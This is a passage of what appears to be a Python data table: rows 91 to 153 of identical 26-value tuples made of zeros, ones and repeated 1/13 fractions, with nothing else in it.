(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 91
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 92
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 93
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 94
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 95
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 96
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 97
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 98
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 99
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 100
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 101
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 102
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 103
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 104
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 105
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 106
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 107
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 108
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 109
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 110
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 111
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 112
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 113
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 114
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 115
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 116
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 117
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 118
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 119
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 120
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 121
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 122
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 123
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 124
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 125
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 126
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 127
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 128
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 129
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 130
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 131
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 132
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 133
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 134
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 135
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 136
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 137
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 138
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 139
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 140
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 141
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 142
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 143
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 144
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 145
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 146
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 147
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 148
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 149
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 150
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 151
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 152
(0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1, 0, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 0.07692307692307693, 1), # 153
